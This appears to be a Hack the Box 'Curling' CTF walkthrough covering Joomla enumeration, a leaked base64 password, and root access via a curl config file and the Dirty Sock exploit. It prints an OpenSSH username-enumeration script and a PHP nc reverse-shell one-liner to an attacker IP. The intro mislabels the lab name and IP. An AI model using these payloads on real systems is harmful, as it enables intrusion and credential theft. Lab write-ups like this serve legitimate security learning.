Today we are going to solve a CTF Challenge “Curling”. It is a lab that is developed by Hack the Box. They have an amazing collection of Online Labs, on which you can practice your penetration testing skills. These labs are designed for beginner to the Expert penetration tester. Tally is a Retired Lab.
Level: Medium
Task: Find the user.txt and root.txt in the vulnerable Lab.
As these labs are only available online, therefore, they have a static IP. Curling has IP: 10.10.10.59.
Now, as always let’s begin our hacking with the port enumeration.
c:\Users\jacco>nmap -sV -sC -T5 10.10.10.150 Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-05 16:37 W. Europe Summer Time Nmap scan report for 10.10.10.150 Host is up (0.032s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA) | 256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA) |_ 256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-generator: Joomla! - Open Source Content Management |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Home Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 19.93 seconds
We see a blog titled “Cewl Curling site!” , and it’s joomla. At this point I would run joomscan
but I wanted to do some manual enumeration first , so I checked the source of the page and at the end of the body I found this comment :
So I checked /secret.txt
and found this base64
string :
c:\PENTEST>curl http://10.10.10.150/secret.txt Q3VybGluZzIwMTgh
Decoding :
PS C:\Users\jacco> [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("Q3VybGluZzIwMTgh")) Curling2018!
Curling2018!
we can use that as a password. But what is the username ? If we take a look at the main page again and read the posts :
We will notice a name in one of the posts : Floris
, now we can try to login as floris
with the password Curling2018!
:
And it worked. While I was doing this enumeration I ran wfuzz in the background and got these results :
c:\PENTEST>wfuzz -c -z file,directory-list-2.3-medium.txt --hc=404 http://10.10.10.150/FUZZ ******************************************************** * Wfuzz 2.3.4 - The Web Fuzzer * ******************************************************** Target: http://10.10.10.150/FUZZ Total requests: 220551 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000007: C=301 9 L 28 W 313 Ch "images" 000005: C=200 361 L 1051 W 14261 Ch "" 000001: C=200 361 L 1051 W 14261 Ch "# directory-list-2.3-medium.txt" 000002: C=200 361 L 1051 W 14261 Ch "#" 000003: C=200 361 L 1051 W 14261 Ch "# Copyright 2007 James Fisher" 000004: C=200 361 L 1051 W 14261 Ch "#" 000071: C=301 9 L 28 W 312 Ch "media" 000072: C=301 9 L 28 W 316 Ch "templates" 000136: C=301 9 L 28 W 314 Ch "modules" 000474: C=301 9 L 28 W 310 Ch "bin" 000510: C=301 9 L 28 W 314 Ch "plugins" 000629: C=301 9 L 28 W 315 Ch "includes" 000861: C=301 9 L 28 W 315 Ch "language" 000996: C=301 9 L 28 W 317 Ch "components" 001074: C=301 9 L 28 W 312 Ch "cache" 001240: C=301 9 L 28 W 316 Ch "libraries" 003228: C=301 9 L 28 W 310 Ch "tmp" 003538: C=301 9 L 28 W 314 Ch "layouts" 005680: C=301 9 L 28 W 320 Ch "administrator" 012477: C=404 9 L 32 W 279 Ch "axs" Finishing pending requests...
Also used OpenSSH 2.3 < 7.7 – Username Enumeration (PoC)
root@kali:~/htb/curling# cat 45210.py #!/usr/bin/env python # Copyright (c) 2018 Matthew Daley # # Permission is hereby granted, free of charge, to any person obtaining a copy # IN THE SOFTWARE. import argparse import logging import paramiko import socket import sys class InvalidUsername(Exception): pass def add_boolean(*args, **kwargs): pass old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[ paramiko.common.MSG_SERVICE_ACCEPT] def service_accept(*args, **kwargs): paramiko.message.Message.add_boolean = add_boolean return old_service_accept(*args, **kwargs) def userauth_failure(*args, **kwargs): raise InvalidUsername() paramiko.auth_handler.AuthHandler._handler_table.update({ paramiko.common.MSG_SERVICE_ACCEPT: service_accept, paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure }) logging.getLogger('paramiko.transport').addHandler(logging.NullHandler()) arg_parser = argparse.ArgumentParser() arg_parser.add_argument('hostname', type=str) arg_parser.add_argument('--port', type=int, default=22) arg_parser.add_argument('username', type=str) args = arg_parser.parse_args() sock = socket.socket() try: sock.connect((args.hostname, args.port)) except socket.error: print '[-] Failed to connect' sys.exit(1) transport = paramiko.transport.Transport(sock) try: transport.start_client() except paramiko.ssh_exception.SSHException: print '[-] Failed to negotiate SSH transport' sys.exit(2) try: transport.auth_publickey(args.username, paramiko.RSAKey.generate(2048)) except InvalidUsername: print '[*] Invalid username' sys.exit(3) except paramiko.ssh_exception.AuthenticationException: print '[+] Valid username'
root@kali:~/htb/itvitae# pip install paramiko==2.0.8 root@kali:~/htb/itvitae# python 45210.py --p 22 10.10.10.150 floris /usr/local/lib/python2.7/dist-packages/paramiko/ecdsakey.py:202: CryptographyDeprecationWarning: signer and verifier have been deprecated. Please use sign and verify instead. signature, ec.ECDSA(self.ecdsa_curve.hash_object()) /usr/local/lib/python2.7/dist-packages/paramiko/rsakey.py:110: CryptographyDeprecationWarning: signer and verifier have been deprecated. Please use sign and verify instead. algorithm=hashes.SHA1(), [+] Valid username
Let’s go to /administrator
and login to the administration panel :
Editing Template Files and Getting a Reverse Shell :
On the configuration section there’s an option for templates :
By going to that we notice that protostar is the default style and template :
From templates we will go to Protostar Details and Files
and create a new php
file :
In the php file we will execute a system command to get a reverse shell :
<?php
system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 443 >/tmp/f');
?>
After we save the file we will go to http://10.10.10.59/templates/protostar/puckie.php
Then we check our listener :
c:\Users\jacco>nc -lvp 443 listening on [any] 443 ... 10.10.10.150: inverse host lookup failed: h_errno 11004: NO_DATA connect to [10.10.14.20] from (UNKNOWN) [10.10.10.150] 55960: NO_DATA /bin/sh: 0: can't access tty; job control turned off $ whoami www-data
User
We got a reverse shell as www-data
, in the /home
directory there’s a directory for floris
:
We don’t have read access to user.txt
, but we notice a file called password_backup
, by looking at that file :
It’s a hex dump
file , So I copied it to my box to reverse it :
To reverse a hex dump
file we will use xxd
, so xxd -r pw_backup
:
Not a normal output , let’s redirect the output to a file and see :
So what happened is , it turned out to be a bzip2
file so I decompressed it then got a new gzip
file , decompressed it and got another bzip2
file , after decompression I got a tar
file , then finally a txt
file for the password :
Let’s ssh
as floris
:
And we owned user !
Curling
By looking at the /home
directory of floris
again :
There’s a directory called admin-area
which contains two files :
input
and report
input
:
url = "http://127.0.0.1"
report
:
It’s obvious that this is the output of executing curl
on http://127.0.0.1
:
Even the name of the box is a hint curling
, so what about changing that url
from localhost
to something else like a file ? Next time the command gets executed we will get the contents of that file , maybe root.txt
? But only if it’s getting executed by root
. Let’s try and see if it will work :
Then we will do : watch cat report
, this is executing cat report
every 2 seconds and giving us the output , easier than checking manually :
After some time we get the flag.
Dirty Sock ? Root shell !
I didn’t like the fact that I could only read the flag , I wanted a root
shell. So I tried for a long time to bypass the url
thing and get a reverse shell , but couldn’t. Then when I did this box again for the write-up , one of the things that caught my attention is that we are on an ubuntu
box , so I checked snap
version to know if it’s vulnerable to CVE-2019-7304
known as Dirty Sock
and of course it was :
This is not intended at all because by the time this box was released , CVE-2019-7304
wasn’t disclosed yet.
I got the exploit from here , Then hosted it on a python simple http server and downloaded it on the box :
python3 dirty_sockv2.py
Now we can su
to dirty_sock
and execute commands as root :
Or just sudo su
and we will get a root shell :